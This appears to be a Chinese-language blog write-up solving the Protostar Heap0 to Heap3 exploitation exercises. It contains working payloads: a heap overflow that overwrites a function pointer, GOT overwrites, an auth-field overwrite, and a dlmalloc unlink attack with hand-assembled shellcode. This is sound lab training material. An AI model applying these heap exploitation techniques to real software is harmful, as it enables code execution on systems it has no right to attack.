Protostar Heap Write Up

Protostar Heap0

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>

struct data {
  char name[64];
};

struct fp {
  int (*fp)();
};

void winner()
{
  printf("level passed\n");
}

void nowinner()
{
  printf("level has not been passed\n");
}

int main(int argc, char **argv)
{
  struct data *d;
  struct fp *f;

  d = malloc(sizeof(struct data));
  f = malloc(sizeof(struct fp));
  f->fp = nowinner;

  printf("data is at %p, fp is at %p\n", d, f);

  strcpy(d->name, argv[1]);

  f->fp();

}

思路:讓data去覆蓋fp,將fp指向winner

查看data與fp的偏移

$ ./heap0 A
data is at 0x8ef4008, fp is at 0x8ef4050
$ ./heap0 AB
data is at 0x8e7e008, fp is at 0x8e7e050

偏移量爲0x50 - 0x08 = 0x48 = 72
查看winner的地址

$ gdb -q heap0
Reading symbols from heap0...done.
gdb-peda$ p winner
$1 = {void (void)} 0x8048464 <winner>

構造payload

/opt/protostar/bin/heap0 `python -c 'print "A"*72+"\x64\x84\x04\x08"'`

Protostar Heap1

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>



struct internet {
  int priority;
  char *name;
};

void winner()
{
  printf("and we have a winner @ %d\n", time(NULL));
}

int main(int argc, char **argv)
{
  struct internet *i1, *i2, *i3;

  i1 = malloc(sizeof(struct internet));
  i1->priority = 1;
  i1->name = malloc(8);

  i2 = malloc(sizeof(struct internet));
  i2->priority = 2;
  i2->name = malloc(8);

  strcpy(i1->name, argv[1]);
  strcpy(i2->name, argv[2]);

  printf("and that's a wrap folks!\n");
}

思路:兩個strcpy,可以進行任意地址寫。因爲i1->name和i2->name在strcpy前會指定寫入地址。那麼我們利用i1->name溢出覆蓋指定i2->name地址爲puts在got表中的地址,利用i2->name寫入puts在got表中要跳轉的地址爲winner()的地址,那麼程序在執行printf時,實際上就是執行winner。

查看i1在內存中的大概位置

$ ltrace ./heap1 AAAA BBBB
__libc_start_main(0x80484b9, 3, 0xbffffd94, 0x8048580, 0x8048570 <unfinished ...>
malloc(8)                                        = 0x0804a008
malloc(8)                                        = 0x0804a018
malloc(8)                                        = 0x0804a028
malloc(8)                                        = 0x0804a038
strcpy(0x0804a018, "AAAA")                       = 0x0804a018
strcpy(0x0804a038, "BBBB")                       = 0x0804a038
puts("and that's a wrap folks!"and that's a wrap folks!
)                 = 25
+++ exited (status 25) +++

i1是0x0804a008開始的,查看該地址附近的存儲情況

$ gdb -q heap1
Reading symbols from /opt/protostar/bin/heap1...done.
(gdb) disassemble main
Dump of assembler code for function main:
...
0x08048561 <main+168>:  call   0x80483cc <puts@plt>
0x08048566 <main+173>:  leave  
0x08048567 <main+174>:  ret    
End of assembler dump.
(gdb) b *main+168
Breakpoint 1 at 0x8048561: file heap1/heap1.c, line 34.
(gdb) r AAAA BBBB
Starting program: /opt/protostar/bin/heap1 AAAA BBBB

Breakpoint 1, 0x08048561 in main (argc=3, argv=0xbffffd64) at heap1/heap1.c:34
34  heap1/heap1.c: No such file or directory.
    in heap1/heap1.c
(gdb) x/32x 0x0804a008 
0x804a008:  0x00000001  0x0804a018  0x00000000  0x00000011
0x804a018:  0x41414141  0x00000000  0x00000000  0x00000011
0x804a028:  0x00000002  0x0804a038  0x00000000  0x00000011
0x804a038:  0x42424242  0x00000000  0x00000000  0x00020fc1
0x804a048:  0x00000000  0x00000000  0x00000000  0x00000000
0x804a058:  0x00000000  0x00000000  0x00000000  0x00000000
0x804a068:  0x00000000  0x00000000  0x00000000  0x00000000
0x804a078:  0x00000000  0x00000000  0x00000000  0x00000000

指定i2->name寫入地址的地址爲0x804a02c,i1->name的地址爲0x804a018,兩者之間的偏移量爲0x804a02c - 0x804a018 = 0x14 = 20

找puts在got表中的地址

$ objdump -R heap1 | grep puts
08049774 R_386_JUMP_SLOT   puts

得puts在got表中的地址爲 0x08049774

找winner()的地址

$ objdump -d heap1 | grep winner
08048494 <winner>:

得winner()的地址爲 0x08048494,構造payload

$ /opt/protostar/bin/heap1 `python -c 'print "A"*20+"\x74\x97\x04\x08"'` `python -c 'print "\x94\x84\x04\x08"'`
and we have a winner @ 1509326394

Protostar Heap2

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

struct auth {
  char name[32];
  int auth;
};

struct auth *auth;
char *service;

int main(int argc, char **argv)
{
  char line[128];

  while(1) {
      printf("[ auth = %p, service = %p ]\n", auth, service);

      if(fgets(line, sizeof(line), stdin) == NULL) break;

      if(strncmp(line, "auth ", 5) == 0) {
          auth = malloc(sizeof(auth));
          memset(auth, 0, sizeof(auth));
          if(strlen(line + 5) < 31) {
              strcpy(auth->name, line + 5);
          }
      }
      if(strncmp(line, "reset", 5) == 0) {
          free(auth);
      }
      if(strncmp(line, "service", 6) == 0) {
          service = strdup(line + 7);
      }
      if(strncmp(line, "login", 5) == 0) {
          if(auth->auth) {
              printf("you have logged in already!\n");
          } else {
              printf("please enter your password\n");
          }
      }
  }
}

思路:這份代碼看起來很彆扭。一個結構體的名字是auth,一個全局指針的名字是auth,結構體中的一個屬性也叫auth,厲害了,我的哥… 目的是讓auth->auth非空

$ ltrace ./heap2
__libc_start_main(0x8048934, 1, 0xbffffdb4, 0x804acc0, 0x804acb0 <unfinished ...>
printf("[ auth = %p, service = %p ]\n", (nil), (nil)[ auth = (nil), service = (nil) ]
) = 34
fgets(auth A
"auth A\n", 128, 0xb7fd8420)                 = 0xbffffc80
strncmp("auth A\n", "auth ", 5)                    = 0
sysconf(30, 0, 0xb7fe1b28, 1, 0)                   = 4096
sbrk(4096)                                         = 0x0804c000
sbrk(0)                                            = 0x0804d000
memset(0x0804c008, '\000', 4)                      = 0x0804c008

memset的第3個參數值是4,說明sizeof(auth)中的auth不是結構體auth,而是指針變量auth

$ ./heap2
[ auth = (nil), service = (nil) ]
auth A
[ auth = 0x804c008, service = (nil) ]
serviceA 
[ auth = 0x804c008, service = 0x804c018 ]

service的地址與auth的地址之間的偏移量爲0x804c018 - 0x804c008 = 0x10 = 0x10 = 16 個字節,而auth本應占32 + 4 = 36個字節,也就是說service嵌入在本應是auth的地址空間裏了。而auth->auth相對於auth地始地址的偏移量爲32個字節,所以auth->auth相對於service的偏移量爲32 - 16 = 16個字節,於是,只要service提供17-20個字節,就可以控制auth->auth。構造payload

$ ./heap2
[ auth = (nil), service = (nil) ]
auth A
[ auth = 0x804c008, service = (nil) ]
serviceAAAAAAAAAAAAAAAAB
[ auth = 0x804c008, service = 0x804c018 ]
login
you have logged in already!

Protostar Heap3

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

void winner()
{
  printf("that wasn't too bad now, was it? @ %d\n", time(NULL));
}

int main(int argc, char **argv)
{
  char *a, *b, *c;

  a = malloc(32);
  b = malloc(32);
  c = malloc(32);

  strcpy(a, argv[1]);
  strcpy(b, argv[2]);
  strcpy(c, argv[3]);

  free(c);
  free(b);
  free(a);

  printf("dynamite failed?\n");
}

思路:dlmalloc的unlink漏洞,利用free(b)觸發unlink,將puts@got修改成執行winner()的shellcode。

對於dlmalloc內存,是通過塊來管理的,塊的結構體頭部結構如下

struct chunk {
    int prev_size;  // 上一個塊的大小
    int size;  // /8後是該塊的大小,最低位表示上一塊是否空閒,倒數第2位表示是否由mmap管理
    struct chunk *fd;  // 前一個塊的指針,當前塊空閒時有效
    struct chunk *bk;  // 後一個塊的指針,當前塊空閒時有效
};

執行free()時,檢查向前合併(後一塊與當前free塊鏈接起來,當後一塊空閒時會合並)和向後合併(前一塊與當前free塊鏈接起來,當前一塊空閒時會合並)。向後合併時,先判斷當前塊的size的最低位,確定爲0,也就是前一塊空閒時,當前buffer指針 - prev_size,從而指向前一個塊,再執行unlink

unlink(p, bck, fwd)
{
    bck = p->bk;
    fwd = p->fd;
    fwd->bk = bck;
    bck->fd = fwd;
}

我們可以通過前一個buffer去控制prev_size和size,比如將prev_size和size都設爲-4,即
\xfc\xff\xff\xff,也就可以觸發unlink。如果構造如下

unlink(p, bck, fwd)
{
    bck = p->bk;  // winner()
    fwd = p->fd;  // puts@got - 12
    fwd->bk = bck;  // fwd + 12 = puts@got => winnder()
    bck->fd = fwd;  // bck + 8 = winner() + 8 = puts@got - 12
}

留意第3句,是一個可以進行任意地址寫的地方,所以我們就可以這裏做文章。第4句將一個地址寫到winner() + 8的位置,對代碼段寫入程序會崩,所以這裏我們可以將winner()的執行製作成shellcode,然後放到a的buffer裏,再構造如下

unlink(p, bck, fwd)
{
    bck = p->bk;  // shellcode地址
    fwd = p->fd;  // puts@got - 12
    fwd->bk = bck;  // fwd + 12 = puts@got => shellcode地址
    bck->fd = fwd;  // shellcode地址 + 8 = puts@got - 12
}

這樣第4句就不會崩,在a的buffer裏,前12(8 + 4(puts@got - 12地址佔4字節))個字節不用了吧(想用的話也可以),用\x90過濾前12個字節,再上執行winner()的shellcode。所以得出攻擊鏈路如下:

12個"\x90"+執行winner()的shellcode+補足的A+ "\xfc\xff\xff\xff"*2(一個用於prev_size,一個用於size) "BBBB"(p-(-4)=p+4)+(puts@got-12)+shellcode地址(a的buffer地址) C(第三個參數,正常的字符就可以)

查看winner()地址

$ objdump -d ./heap3 | grep winner
08048864 <winner>:

構造執行winner()的shellcode,也就是將winner()的地址放到棧裏,然後利用ret指令,從棧取出地址並跳轉過去

vim shellcode.asm
[section .text]
global _start
_start:
push 0x08048864
ret

編譯鏈接

$ nasm -f elf shellcode.asm
$ ld -m elf_i386 -o shellcode shellcode.o

查看機器碼

$ objdump -d ./shellcode

./shellcode:     file format elf32-i386


Disassembly of section .text:

08048060 <_start>:
 8048060:   68 64 88 04 08          push   $0x8048864
 8048065:   c3                      ret    

得到執行winner()的shellcode爲

\x68\x64\x88\x04\x08\xc3

共6個字節。除了前面的12個字節\x90和現在6個字節,a這個buffer還剩32 - 12 - 6 = 14個字節。

找puts@got的地址

$ objdump -R ./heap3 | grep puts
0804b128 R_386_JUMP_SLOT   puts

0x0804b128 - 12 = 0x0804b128 - 0x0c = 0x0804b11c

找a的buffer地址

$ ltrace ./heap3 AAAA BBBB CCCC
__libc_start_main(0x8048889, 4, 0xbffffd94, 0x804ab50, 0x804ab40 <unfinished ...>
sysconf(30, 0xb7ffeff4, 0xb7e9abb8, 1, 0xbffffc5c) = 4096
sbrk(4096)                                       = 0x0804c000
sbrk(0)                                          = 0x0804d000
strcpy(0x0804c008, "AAAA")                       = 0x0804c008
strcpy(0x0804c030, "BBBB")                       = 0x0804c030
strcpy(0x0804c058, "CCCC")                       = 0x0804c058
puts("dynamite failed?"dynamite failed?
)                         = 17
+++ exited (status 17) +++

得a的buffer地址爲0x0804c008

構造payload

$ /opt/protostar/bin/heap3 `python -c 'print "\x90"*12+"\x68\x64\x88\x04\x08\xc3"+"A"*14+"\xfc\xff\xff\xff"*2'` `python -c 'print "BBBB\x1c\xb1\x04\x08\x08\xc0\x04\x08"'` C
that wasn't too bad now, was it? @ 1509599513

Protostar Heap4

頁面 404

也沒有相應的可執行程序heap4,期待ing…

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章